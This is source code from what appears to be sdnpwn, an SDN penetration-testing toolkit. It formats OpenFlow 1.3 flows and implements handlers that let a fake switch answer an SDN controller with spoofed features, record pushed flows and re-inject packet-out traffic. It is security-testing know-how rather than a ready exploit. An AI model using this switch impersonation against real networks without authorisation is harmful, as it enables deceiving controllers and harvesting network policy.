matches = "{" 119 | for m in match_instances: 120 | match_str = self.matchToString(m) 121 | matches += match_str 122 | matches += "," 123 | matches = matches[:-1] + "}" 124 | return matches 125 | 126 | def instructionsToString(self, instructions): 127 | instrs = "[" 128 | for instr in instructions: 129 | instr_type = self.instructionTypeToString(instr) 130 | instr_detail = self.instructionDetailToString(instr.instruction_type, instr) 131 | instrs += "{\"Type\": " + str(instr_type) + ", \"Instruction\": " + instr_detail + "}," 132 | instrs = instrs[:-1] + "]" 133 | return instrs 134 | 135 | def instructionTypeToString(self, instructions): 136 | return { 137 | InstructionType.OFPIT_GOTO_TABLE: "\"GOTO Table\"", 138 | InstructionType.OFPIT_WRITE_METADATA: "\"Write Metadata\"", 139 | InstructionType.OFPIT_WRITE_ACTIONS: "\"Write Actions\"", 140 | InstructionType.OFPIT_APPLY_ACTIONS: "\"Apply Actions\"", 141 | InstructionType.OFPIT_CLEAR_ACTIONS: "\"Clear Actions\"", 142 | InstructionType.OFPIT_METER: "\"Apply Meter\"", 143 | InstructionType.OFPIT_EXPERIMENTER: "\"Experimenter\"", 144 | }[int(instructions.instruction_type)] 145 | 146 | def instructionDetailToString(self, type, instruction): 147 | instr_detail = { 148 | InstructionType.OFPIT_GOTO_TABLE: (lambda instr: ("{\"GOTO Table\": \"" + str(instr.table_id) + "\"}")), 149 | InstructionType.OFPIT_WRITE_METADATA: (lambda instr: ("{\"Metadata\": \"" + str(instr.metadata) + ", \"Metadata Mask\": " + str(instr.metadata_mask) + "\"}")), 150 | InstructionType.OFPIT_WRITE_ACTIONS: (lambda instr: ("{\"Actions\": " + self.actionsToString(instr.actions) + "}")), 151 | InstructionType.OFPIT_APPLY_ACTIONS: (lambda instr: ("{\"Actions\": " + self.actionsToString(instr.actions) + "}")), 152 | InstructionType.OFPIT_CLEAR_ACTIONS: (lambda instr: ("{\"Actions\": " + self.actionsToString(instr.actions) + "}")), 153 | InstructionType.OFPIT_METER: (lambda instr: ("{\"Meter\": \"" + str(instr.meter_id) + "\"}")), 154 | InstructionType.OFPIT_EXPERIMENTER: "{\"Experimenter\": \"none\"}", 155 | }[int(type)](instruction) 156 | 157 | return instr_detail 158 | 159 | def actionsToString(self, actions): 160 | actionHeaders = "" 161 | if(isinstance(actions, list)): 162 | for a in actions: 163 | actionHeaders += (self.getActionHeaderDetails(a))(a) + "," 164 | else: 165 | actionHeaders += (self.getActionHeaderDetails(actions))(actions) 166 | 167 | return "{" + actionHeaders[:-1] + "}" 168 | 169 | def getActionHeaderDetails(self, action): 170 | return { 171 | ActionType.OFPAT_OUTPUT: (lambda action: ("\"OFPAT_OUTPUT\": \"" + self.portToString(action.port) + ", Max Length " + str(action.max_length) + "\"")), 172 | ActionType.OFPAT_COPY_TTL_OUT: (lambda action: ("\"OFPAT_COPY_TTL_OUT\"")), 173 | ActionType.OFPAT_COPY_TTL_IN: (lambda action: ("\"OFPAT_COPY_TTL_IN\"")), 174 | ActionType.OFPAT_SET_MPLS_TTL: (lambda action: ("\"OFPAT_SET_MPLS_TTL\": \"" + str(action.mpls_ttl) + "\"")), 175 | ActionType.OFPAT_DEC_MPLS_TTL: (lambda action: ("\"OFPAT_DEC_MPLS_TTL\"")), 176 | ActionType.OFPAT_PUSH_VLAN: (lambda action: ("\"OFPAT_PUSH_VLAN\": \"Ethertype " + str(action.ethertype) + "\"")), 177 | ActionType.OFPAT_POP_VLAN: (lambda action: ("\"OFPAT_POP_VLAN\"")), 178 | ActionType.OFPAT_PUSH_MPLS: (lambda action: ("\"OFPAT_PUSH_MPLS\": \"Ethertype " + str(action.ethertype) + "\"")), 179 | ActionType.OFPAT_POP_MPLS: (lambda action: ("\"OFPAT_POP_MPLS\"")), 180 | ActionType.OFPAT_SET_QUEUE: (lambda action: ("\"OFPAT_SET_QUEUE\": \"Queue ID " + str(action.queue_id) + "\"")), 181 | ActionType.OFPAT_GROUP: (lambda action: ("\"OFPAT_GROUP\": \"Group ID " + str(action.group_id) + "\"")), 182 | ActionType.OFPAT_SET_NW_TTL: (lambda action: ("\"OFPAT_SET_NW_TTL\": \"TTL " + str(action.nw_ttl) + "\"")), 183 | ActionType.OFPAT_DEC_NW_TTL: (lambda action: ("\"OFPAT_DEC_NW_TTL\"")), 184 | ActionType.OFPAT_SET_FIELD: (lambda action: ("\"OFPAT_SET_FIELD\": \"Field " + str(action.field) + "\"")), 185 | ActionType.OFPAT_PUSH_PBB: (lambda action: ("\"OFPAT_PUSH_PBB\": \"Ethertype " + str(action.ethertype) + "\"")), 186 | ActionType.OFPAT_POP_PBB: (lambda action: ("\"OFPAT_POP_PBB\"")), 187 | ActionType.OFPAT_EXPERIMENTER: (lambda action: ("\"OFPAT_EXPERIMENTER\": \"Experimenter " + str(action.experimenter) + "\"")), 188 | }[int(action.action_type)] 189 | 190 | 191 | def matchToString(self, matchTLV): 192 | return { 193 | OxmOfbMatchField.OFPXMT_OFB_IN_PORT: "\"OFPXMT_OFB_IN_PORT\": \"Port " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 194 | OxmOfbMatchField.OFPXMT_OFB_IN_PHY_PORT: "\"OFPXMT_OFB_IN_PHY_PORT\": \"Phy Port " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 195 | OxmOfbMatchField.OFPXMT_OFB_METADATA: "\"OFPXMT_OFB_METADATA\": \"Metadata " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 196 | OxmOfbMatchField.OFPXMT_OFB_ETH_DST: "\"OFPXMT_OFB_ETH_DST\": \"ETH dst " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 197 | OxmOfbMatchField.OFPXMT_OFB_ETH_SRC: "\"OFPXMT_OFB_ETH_SRC\": \"ETH src " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 198 | OxmOfbMatchField.OFPXMT_OFB_ETH_TYPE: "\"OFPXMT_OFB_ETH_TYPE\": \"ETH type " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 199 | OxmOfbMatchField.OFPXMT_OFB_VLAN_VID: "\"OFPXMT_OFB_VLAN_VID\": \"VLAN Id " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 200 | OxmOfbMatchField.OFPXMT_OFB_VLAN_PCP: "\"OFPXMT_OFB_VLAN_PCP\": \"VLAN PCP " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 201 | OxmOfbMatchField.OFPXMT_OFB_IP_DSCP: "\"OFPXMT_OFB_IP_DSCP\": \"IP DSCP " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 202 | OxmOfbMatchField.OFPXMT_OFB_IP_ECN: "\"OFPXMT_OFB_IP_ECN\": \"IP ECN " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 203 | OxmOfbMatchField.OFPXMT_OFB_IP_PROTO: "\"OFPXMT_OFB_IP_PROTO\": \"IP Proto " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 204 | OxmOfbMatchField.OFPXMT_OFB_IPV4_SRC: "\"OFPXMT_OFB_IPV4_SRC\": \"IP src " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 205 | OxmOfbMatchField.OFPXMT_OFB_IPV4_DST: "\"OFPXMT_OFB_IPV4_DST\": \"IP dst " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 206 | OxmOfbMatchField.OFPXMT_OFB_TCP_SRC: "\"OFPXMT_OFB_TCP_SRC\": \"TCP src " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 207 | OxmOfbMatchField.OFPXMT_OFB_TCP_DST: "\"OFPXMT_OFB_TCP_DST\": \"TCP dst " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 208 | OxmOfbMatchField.OFPXMT_OFB_UDP_SRC: "\"OFPXMT_OFB_UDP_SRC\": \"UDP src " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 209 | OxmOfbMatchField.OFPXMT_OFB_UDP_DST: "\"OFPXMT_OFB_UDP_DST\": \"UDP dst " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 210 | OxmOfbMatchField.OFPXMT_OFB_SCTP_SRC: "\"OFPXMT_OFB_SCTP_SRC\": \"SCTP src " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 211 | OxmOfbMatchField.OFPXMT_OFB_SCTP_DST: "\"OFPXMT_OFB_SCTP_DST\": \"SCTP dst " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 212 | OxmOfbMatchField.OFPXMT_OFB_ICMPV4_TYPE: "\"OFPXMT_OFB_ICMPV4_TYPE\": \"ICMPv4 Type " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 213 | OxmOfbMatchField.OFPXMT_OFB_ICMPV4_CODE: "\"OFPXMT_OFB_ICMPV4_CODE\": \"ICMPv4 Code " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 214 | OxmOfbMatchField.OFPXMT_OFB_ARP_OP: "\"OFPXMT_OFB_ARP_OP\": \"ARP OP Code " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 215 | OxmOfbMatchField.OFPXMT_OFB_ARP_SPA: "\"OFPXMT_OFB_ARP_SPA\": \"ARP Src IP " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 216 | OxmOfbMatchField.OFPXMT_OFB_ARP_TPA: "\"OFPXMT_OFB_ARP_TPA\": \"ARP Target IP " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 217 | OxmOfbMatchField.OFPXMT_OFB_ARP_SHA: "\"OFPXMT_OFB_ARP_SHA\": \"ARP Src MAC " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 218 | OxmOfbMatchField.OFPXMT_OFB_ARP_THA: "\"OFPXMT_OFB_ARP_THA\": \"ARP Target MAC " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 219 | OxmOfbMatchField.OFPXMT_OFB_IPV6_SRC: "\"OFPXMT_OFB_IPV6_SRC\": \"IPv6 src " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 220 | OxmOfbMatchField.OFPXMT_OFB_IPV6_DST: "\"OFPXMT_OFB_IPV6_DST\": \"IPv6 dst " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 221 | OxmOfbMatchField.OFPXMT_OFB_IPV6_FLABEL: "\"OFPXMT_OFB_IPV6_FLABEL\": \"IPv6 FLABEL " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 222 | OxmOfbMatchField.OFPXMT_OFB_ICMPV6_TYPE: "\"OFPXMT_OFB_ICMPV6_TYPE\": \"ICMPv6 Type " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 223 | OxmOfbMatchField.OFPXMT_OFB_ICMPV6_CODE: "\"OFPXMT_OFB_ICMPV6_CODE\": \"ICMPv6 Code " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 224 | OxmOfbMatchField.OFPXMT_OFB_IPV6_ND_TARGET: "\"OFPXMT_OFB_IPV6_ND_TARGET\": \"IPv6 ND Target " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 225 | OxmOfbMatchField.OFPXMT_OFB_IPV6_ND_SLL: "\"OFPXMT_OFB_IPV6_ND_SLL\": \"IPv6 ND SLL " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 226 | OxmOfbMatchField.OFPXMT_OFB_IPV6_ND_TLL: "\"OFPXMT_OFB_IPV6_ND_TLL\": \"IPv6 ND TLL " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 227 | OxmOfbMatchField.OFPXMT_OFB_MPLS_LABEL: "\"OFPXMT_OFB_MPLS_LABEL\": \"MPLS Label " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 228 | OxmOfbMatchField.OFPXMT_OFB_MPLS_TC: "\"OFPXMT_OFB_MPLS_TC\": \"MPLS TC " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 229 | OxmOfbMatchField.OFPXMT_OFP_MPLS_BOS: "\"OFPXMT_OFP_MPLS_BOS\": \"MPLS BOS " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 230 | OxmOfbMatchField.OFPXMT_OFB_PBB_ISID: "\"OFPXMT_OFB_PBB_ISID\": \"PBB ISID " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 231 | OxmOfbMatchField.OFPXMT_OFB_TUNNEL_ID: "\"OFPXMT_OFB_TUNNEL_ID\": \"Tunnel ID " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 232 | OxmOfbMatchField.OFPXMT_OFB_IPV6_EXTHDR: "\"OFPXMT_OFB_IPV6_EXTHDR\": \"IPv6 EXTHDR " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"", 233 | OxmOfbMatchField.OFPXMT_OFB_ETH_TYPE: "\"OFPXMT_OFB_ETH_TYPE\": \"Ethertype " + self.cleanBytes(str(matchTLV.oxm_value)) + "\"" 234 | }[matchTLV.oxm_field] 235 | 236 | def cleanBytes(self, s): 237 | # Will figure out the proper decoding method for the value later. 238 | if("\\x" in s): 239 | s = "0x" + s 240 | s = s.replace("b", "") 241 | s = s.replace("'", "") 242 | s = s.replace("\\x", "") 243 | return s 244 | 245 | 246 | ''' 247 | def matchToString(self, match): 248 | return ("[ " + 249 | "in_port: " + (str(match.OFPXMT_OFB_IN_PORT) if match.OFPXMT_OFB_IN_PORT != 0 else "*") + ", " + 250 | "dl_src: " + (str(match.dl_src) if match.dl_src != "00:00:00:00:00:00" else "*") + ", " + 251 | "dl_dst: " + (str(match.dl_dst) if match.dl_dst != "00:00:00:00:00:00" else "*") + ", " + 252 | "dl_vlan: " + (str(match.dl_vlan) if match.dl_vlan != 0 else "*") + ", " + 253 | "dl_vlan_pcp: " + (str(match.dl_vlan_pcp) if match.dl_vlan_pcp != 0 else "*") + ", " + 254 | "dl_type: " + ("0x" + str(match.dl_type.pack())[2:-1].replace("\\x", "") if match.dl_type != 0 else "*") + ", " + 255 | "nw_tos: " + ("0x" + str(match.dl_type.pack())[2:-1].replace("\\x", "") if match.dl_type != 0 else "*") + ", " + 256 | "nw_proto: " + ("0x" + str(match.nw_proto.pack())[2:-1].replace("\\x", "") if match.nw_proto != 0 else "*") + ", " + 257 | "nw_src: " + (str(match.nw_src) + "/" + str(match.nw_src.max_prefix) if match.nw_src != "0.0.0.0" else "*") + ", " + 258 | "nw_dst: " + (str(match.nw_dst) + "/" + str(match.nw_dst.max_prefix) if match.nw_dst != "0.0.0.0" else "*") + ", " + 259 | "tp_src: " + (str(match.tp_src) if match.tp_src != 0 else "*") + ", " + 260 | "tp_dst: " + (str(match.tp_dst) if match.tp_dst != 0 else "*") + "" + 261 | "]") 262 | ''' 263 | -------------------------------------------------------------------------------- /modules/sdnpwn/ofv13/sdnpwn_ofv13_handlers.py: -------------------------------------------------------------------------------- 1 | 2 | import modules.sdnpwn.sdnpwn_common as sdnpwn 3 | 4 | from scapy.all import * 5 | 6 | from pyof.foundation.basic_types import DPID, UBInt8, UBInt16, UBInt32, UBInt64, Pad, HWAddress 7 | 8 | #v0x01 is openflow version 9 | from pyof.v0x04.symmetric.hello import Hello 10 | from pyof.v0x04.controller2switch.features_reply import FeaturesReply 11 | from pyof.v0x04.controller2switch.barrier_reply import BarrierReply 12 | from pyof.v0x04.controller2switch.packet_out import PacketOut 13 | from pyof.v0x04.controller2switch.flow_mod import * 14 | from pyof.v0x04.controller2switch.common import * 15 | from pyof.v0x04.symmetric.echo_reply import EchoReply 16 | from pyof.v0x04.symmetric.experimenter import ExperimenterHeader 17 | from pyof.v0x04.controller2switch.multipart_request import * 18 | from pyof.v0x04.controller2switch.multipart_reply import * 19 | from pyof.v0x04.controller2switch.role_request import RoleRequest 20 | from pyof.v0x04.controller2switch.role_reply import RoleReply 21 | from pyof.v0x04.controller2switch.get_config_reply import GetConfigReply 22 | from pyof.v0x04.common.port import PortConfig, PortState, Port, PortNo 23 | from pyof.v0x04.common.header import Header, Type 24 | from pyof.v0x04.common.flow_match import * 25 | from pyof.v0x04.common.action import ActionType, ActionHeader 26 | from pyof.foundation.base import GenericMessage 27 | 28 | from random import randint 29 | import socket 30 | from struct import pack, unpack 31 | 32 | from modules.sdnpwn.sdnpwn_lldp import * 33 | from modules.sdnpwn.ofv13.sdnpwn_ofv13_flow import * 34 | 35 | ''' 36 | 37 | Class to define and implement Openflow v1.3 message handlers 38 | 39 | ''' 40 | 41 | class OFv13MessageHandler(): 42 | 43 | version = 1.3 44 | save_connection_data = False 45 | 46 | def __init__(self): 47 | self.version = 1.3 48 | self.save_connection_data = False 49 | 50 | def get_response(self, sock): 51 | try: 52 | ofHeader = Header() 53 | replyHeader = sock.recv(8) 54 | ofHeader.unpack(replyHeader) 55 | replyBody = sock.recv(ofHeader.length-8) 56 | return (ofHeader, replyBody) 57 | except Exception as e: 58 | if(verbose == True): 59 | print("Error: " + str(e)) 60 | return None 61 | 62 | def autohandle_messages(self, device, header, body, verbose=False): 63 | if(header.message_type == None): 64 | device.comm_sock.close() 65 | 66 | action = { 67 | 0: self.handle_hello, 68 | 1: self.handle_error, 69 | 2: self.handle_echo_request, 70 | 3: self.handle_echo_response, 71 | 4: self.handle_experimenter, 72 | 5: self.handle_feature_request, 73 | 6: self.handle_feature_response, 74 | 7: self.handle_config_request, 75 | 8: self.handle_config_response, 76 | 9: self.handle_set_config, 77 | 10: self.handle_packet_in, 78 | 11: self.handle_flow_removed, 79 | 12: self.handle_port_status, 80 | 13: self.handle_packet_out, 81 | 14: self.handle_flow_mod, 82 | 15: self.handle_group_mod, 83 | 16: self.handle_port_mod, 84 | 17: self.handle_table_mod, 85 | 18: self.handle_multipart_request, 86 | 19: self.handle_multipart_response, 87 | 20: self.handle_barrier_request, 88 | 21: self.handle_barrier_response, 89 | 22: self.handle_queue_config_request, 90 | 23: self.handle_queue_config_response, 91 | 24: self.handle_role_request, 92 | 25: self.handle_role_response, 93 | 26: self.handle_get_async_request, 94 | 27: self.handle_get_async_response, 95 | 28: self.handle_set_async, 96 | 29: self.handle_meter_mod 97 | }[(header.message_type & 0xFF)] 98 | 99 | if(callable(action)): 100 | action(device, header, body, verbose) 101 | 102 | ''' 103 | 104 | Openflow message handlers 105 | 106 | ''' 107 | 108 | def handle_hello(self, device, header, body, verbose): 109 | if(verbose): 110 | print("Got Hello") 111 | 112 | def handle_error(self, device, header, body, verbose): 113 | if(verbose): 114 | print("Got Error") 115 | 116 | def handle_echo_request(self, device, header, body, verbose): 117 | if(verbose): 118 | print("Got EchoReq") 119 | 120 | ofEchoReply = EchoReply(xid=header.xid) 121 | device.comm_sock.send(ofEchoReply.pack()) 122 | if(verbose): 123 | print("Sent EchoRes") 124 | 125 | def handle_echo_response(self, device, header, body, verbose): 126 | if(verbose): 127 | print("Got EchoRes") 128 | 129 | def handle_experimenter(self, device, header, body, verbose): 130 | if(verbose): 131 | print("Got Experimenter") 132 | ofExperimenter = ExperimenterHeader(xid=header.xid, experimenter=device.switch_vendor_id, exp_type=device.switch_vendor_ouid_bytes) 133 | ofExperimenter.header.length = 20 134 | experimenterBytes = bytearray(ofExperimenter.pack()) 135 | experimenterBytes[3] += 8 136 | experimenterBytes += b'\x00\x00\x00\x00\x00\x00\x00\x00' #\x00\x00\x23\x20 137 | device.comm_sock.send(experimenterBytes) 138 | if(verbose): 139 | print("Sent Experimenter Message") 140 | 141 | def handle_feature_request(self, device, header, body, verbose): 142 | if(verbose): 143 | print("Got FeatureReq") 144 | ofFeaturesReply = FeaturesReply(xid=header.xid, auxiliary_id=0, reserved=0, datapath_id=DPID(device.switch_features["dpid"]), n_buffers=UBInt32(device.switch_features["no_of_buffers"]), n_tables=UBInt32(device.switch_features["no_of_tables"]), capabilities=UBInt32(device.switch_features["capabilities"])) 145 | device.comm_sock.send(ofFeaturesReply.pack()) 146 | if(verbose): 147 | print("Sent FeatureRes") 148 | 149 | def handle_feature_response(self, device, header, body, verbose): 150 | if(verbose): 151 | print("Got FeatureRes") 152 | 153 | def handle_config_request(self, device, header, body, verbose): 154 | if(verbose): 155 | print("Got ConfigReq") 156 | ofConfigRes = GetConfigReply(xid=header.xid, flags=UBInt16(int.from_bytes(device.switch_config["flags"], byteorder='big', signed=False)), miss_send_len=UBInt16(int.from_bytes(device.switch_config["miss_send_len"], byteorder='big', signed=False))) 157 | ofConfigRes.header.message_type = 8 158 | device.comm_sock.send(ofConfigRes.pack()) 159 | if(verbose): 160 | print("Sent ConfigRes") 161 | 162 | def handle_config_response(self, device, header, body, verbose): 163 | if(verbose): 164 | print("Got ConfigRes") 165 | 166 | def handle_set_config(self, device, header, body, verbose): 167 | if(verbose): 168 | print("Got SetConfig") 169 | device.setConfig(flags=bytearray(body)[0:2], miss_send_len=bytearray(body)[2:4]) 170 | 171 | def handle_packet_in(self, device, header, body, verbose): 172 | if(verbose): 173 | print("Got PacketIn") 174 | 175 | def handle_flow_removed(self, device, header, body, verbose): 176 | if(verbose): 177 | print("Got FlowRemoved") 178 | 179 | def handle_port_status(self, device, header, body, verbose): 180 | if(verbose): 181 | print("Got PortStatus") 182 | 183 | def handle_packet_out(self, device, header, body, verbose): 184 | if(verbose): 185 | print("Got PacketOut") 186 | packetOut = PacketOut() 187 | packetOut.unpack(body) 188 | tempFlow = Flow() 189 | try: 190 | pkt = Ether(packetOut.data.pack()) 191 | if(verbose): 192 | print(tempFlow.actionsToString(packetOut.actions)) 193 | pkt.show() 194 | if(device.forward_packet_out_payload == True): 195 | if(device.forward_packet_out_port_filter is not None): 196 | if(("Port " + str(device.forward_packet_out_port_filter)) in tempFlow.actionsToString(packetOut.actions)): 197 | sendp(pkt, iface=device.forward_packet_out_iface) 198 | else: 199 | sendp(pkt, iface=device.forward_packet_out_iface) 200 | 201 | except Exception as e: 202 | sdnpwn.message("Got error handling packet out.", sdnpwn.WARNING) 203 | sdnpwn.message(str(e), sdnpwn.VERBOSE) 204 | 205 | def handle_flow_mod(self, device, header, body, verbose): 206 | if(verbose): 207 | print("Got FlowMod") 208 | flowMod = FlowMod() 209 | flowMod.unpack(body) 210 | flow = Flow(match=flowMod.match, cookie=flowMod.cookie, 211 | idle_timeout=flowMod.idle_timeout, hard_timeout=flowMod.hard_timeout, 212 | priority=flowMod.priority, buffer_id=flowMod.buffer_id, out_port=flowMod.out_port, 213 | out_group=flowMod.out_group, instructions=flowMod.instructions, flags=flowMod.flags) 214 | 215 | if(flowMod.command == FlowModCommand.OFPFC_ADD): 216 | sdnpwn.message("Adding New Flow ", sdnpwn.NORMAL) 217 | device.switch_flows[str(flow.cookie)] = flow 218 | elif(flowMod.command == FlowModCommand.OFPFC_MODIFY): 219 | sdnpwn.message("Modifying Flow ", sdnpwn.NORMAL) 220 | device.switch_flows[str(flow.cookie)] = flow 221 | elif(flowMod.command == FlowModCommand.OFPFC_MODIFY_STRICT): 222 | sdnpwn.message("Modifying Flow (Strict) ", sdnpwn.NORMAL) 223 | device.switch_flows[str(flow.cookie)] = flow 224 | elif(flowMod.command == FlowModCommand.OFPFC_DELETE): 225 | sdnpwn.message("Deleting Flow ", sdnpwn.NORMAL) 226 | if(flow.cookie == 0): 227 | device.switch_flows = {} 228 | else: 229 | del device.switch_flows[str(flow.cookie)] 230 | elif(flowMod.command == FlowModCommand.OFPFC_DELETE_STRICT): 231 | sdnpwn.message("Deleting Flow (Strict) ", sdnpwn.NORMAL) 232 | if(flow.cookie == 0): 233 | device.switch_flows = {} 234 | else: 235 | del device.switch_flows[str(flow.cookie)] 236 | flow_string = flow.toString() 237 | print(flow_string) 238 | if(self.save_connection_data): 239 | with open("flows", 'a') as f: 240 | f.write(flow_string + "\n") 241 | 242 | def handle_group_mod(self, device, header, body, verbose): 243 | if(verbose): 244 | print("Got GroupMod") 245 | 246 | def handle_port_mod(self, device, header, body, verbose): 247 | if(verbose): 248 | print("Got PortMod") 249 | 250 | def handle_table_mod(self, device, header, body, verbose): 251 | if(verbose): 252 | print("Got TableMod") 253 | 254 | def handle_multipart_request(self, device, header, body, verbose): 255 | if(verbose): 256 | print("Got MultipartRequest") 257 | ofMultipartReq = MultipartRequest() 258 | ofMultipartReq.unpack(body) 259 | if(verbose): 260 | print("MultipartReq type is " + str(ofMultipartReq.multipart_type)) 261 | 262 | action = { 263 | 0: self.handle_mp_desc, 264 | 1: self.handle_mp_flow, 265 | 2: self.handle_mp_aggregate, 266 | 3: self.handle_mp_table, 267 | 4: self.handle_mp_port_stats, 268 | 5: self.handle_mp_queue, 269 | 6: self.handle_mp_group, 270 | 7: self.handle_mp_group_desc, 271 | 8: self.handle_mp_group_features, 272 | 9: self.handle_mp_meter, 273 | 10: self.handle_mp_meter_config, 274 | 11: self.handle_mp_meter_features, 275 | 12: self.handle_mp_table_features, 276 | 13: self.handle_mp_port_desc, 277 | 14: self.handle_mp_experimenter 278 | }[ofMultipartReq.multipart_type & 0xFF] 279 | 280 | if(callable(action)): 281 | try: 282 | action(device, header, body, verbose) 283 | except Exception as e: 284 | ex_type, ex_value, ex_traceback = sys.exc_info() 285 | print(ex_type) 286 | print(ex_value) 287 | for t in traceback.extract_tb(ex_traceback): 288 | print("\t%s", t) 289 | 290 | def handle_multipart_response(self, device, header, body, verbose): 291 | if(verbose): 292 | print("Got MultipartResponse") 293 | 294 | def handle_barrier_request(self, device, header, body, verbose): 295 | if(verbose): 296 | print("Got BarrierReq") 297 | ofBarrierReply = BarrierReply(xid=header.xid) 298 | device.comm_sock.send(ofBarrierReply.pack()) 299 | if(verbose): 300 | print("Sent BarrierRes") 301 | 302 | def handle_barrier_response(self, device, header, body, verbose): 303 | if(verbose): 304 | print("Got BarrierRes") 305 | 306 | def handle_queue_config_request(self, device, header, body, verbose): 307 | if(verbose): 308 | print("Got QueueGetConfigReq") 309 | 310 | def handle_queue_config_response(self, device, header, body, verbose): 311 | if(verbose): 312 | print("Got QueueGetConfigRes") 313 | 314 | def handle_role_request(self, device, header, body, verbose): 315 | if(verbose): 316 | print("Got RoleReq") 317 | 318 | ofRoleReq = RoleRequest() 319 | ofRoleReq.unpack(body) 320 | 321 | ofRoleResp = RoleReply(xid=header.xid, role=ofRoleReq.role, generation_id=ofRoleReq.generation_id) 322 | device.comm_sock.send(ofRoleResp.pack()) 323 | 324 | def handle_role_response(self, device, header, body, verbose): 325 | if(verbose): 326 | print("Got RoleRes") 327 | 328 | def handle_get_async_request(self, device, header, body, verbose): 329 | if(verbose): 330 | print("Got GetAsyncReq") 331 | 332 | def handle_get_async_response(self, device, header, body, verbose): 333 | if(verbose): 334 | print("Got GetAsyncRes") 335 | 336 | def handle_set_async(self, device, header, body, verbose): 337 | if(verbose): 338 | print("Got SetAsync") 339 | 340 | def handle_meter_mod(self, device, header, body, verbose): 341 | if(verbose): 342 | print("Got MeterMod") 343 | 344 | ''' 345 | 346 | Handlers for the various types of Multipart Messages 347 | 348 | ''' 349 | 350 | def handle_mp_desc(self, device, header, body, verbose): 351 | if(verbose): 352 | print("Got Multipart Desc") 353 | 354 | ofMultipartReq = MultipartRequest() 355 | ofMultipartReq.unpack(body) 356 | 357 | ofDescRespBody = Desc(mfr_desc=device.switch_desc["switch_mfr_desc"], 358 | hw_desc=device.switch_desc["switch_hw_desc"], 359 | sw_desc=device.switch_desc["switch_sw_desc"], 360 | serial_num=device.switch_desc["switch_serial_num"], 361 | dp_desc=device.switch_desc["switch_dp_desc"] 362 | ) 363 | ofMultipartResp = MultipartReply(xid=header.xid, multipart_type=ofMultipartReq.multipart_type, flags=UBInt16(0x00000000), body=ofDescRespBody) 364 | device.comm_sock.send(ofMultipartResp.pack()) 365 | 366 | 367 | def handle_mp_flow(self, device, header, body, verbose): 368 | if(verbose): 369 | print("Got Multipart Flow") 370 | 371 | def handle_mp_aggregate(self, device, header, body, verbose): 372 | if(verbose): 373 | print("Got Multipart Aggregate") 374 | 375 | def handle_mp_table(self, device, header, body, verbose): 376 | if(verbose): 377 | print("Got Multipart Table") 378 | 379 | def handle_mp_port_stats(self, device, header, body, verbose): 380 | if(verbose): 381 | print("Got Multipart PortStats") 382 | 383 | def handle_mp_queue(self, device, header, body, verbose): 384 | if(verbose): 385 | print("Got Multipart Queue") 386 | 387 | def handle_mp_group(self, device, header, body, verbose): 388 | if(verbose): 389 | print("Got Multipart Group") 390 | 391 | def handle_mp_group_desc(self, device, header, body, verbose): 392 | if(verbose): 393 | print("Got Multipart GroupDesc") 394 | 395 | def handle_mp_group_features(self, device, header, body, verbose): 396 | if(verbose): 397 | print("Got Multipart GroupFeatures") 398 | 399 | def handle_mp_meter(self, device, header, body, verbose): 400 | if(verbose): 401 | print("Got Multipart Meter") 402 | 403 | def handle_mp_meter_config(self, device, header, body, verbose): 404 | if(verbose): 405 | print("Got Multipart MeterConfig") 406 | 407 | def handle_mp_meter_features(self, device, header, body, verbose): 408 | if(verbose): 409 | print("Got Multipart MeterFeatures") 410 | 411 | ofMultipartReq = MultipartRequest() 412 | ofMultipartReq.unpack(body) 413 | 414 | max_meter = device.switch_features["meters"]["max_meter"] 415 | band_types = device.switch_features["meters"]["band_types"] 416 | capabilities = device.switch_features["meters"]["capabilities"] 417 | max_bands = device.switch_features["meters"]["max_bands"] 418 | max_color = device.switch_features["meters"]["max_color"] 419 | 420 | ofMeterFeaturesRespBody = MeterFeatures(max_meter=max_meter, band_types=band_types, capabilities=capabilities, max_bands=max_bands, max_color=max_color) 421 | ofMultipartResp = MultipartReply(xid=header.xid, multipart_type=ofMultipartReq.multipart_type, flags=UBInt16(0x00000000), body=ofMeterFeaturesRespBody) 422 | device.comm_sock.send(ofMultipartResp.pack()) 423 | 424 | 425 | def handle_mp_table_features(self, device, header, body, verbose): 426 | if(verbose): 427 | print("Got Multipart TableFeatures") 428 | 429 | def handle_mp_port_desc(self, device, header, body, verbose): 430 | if(verbose): 431 | print("Got Multipart PortDesc") 432 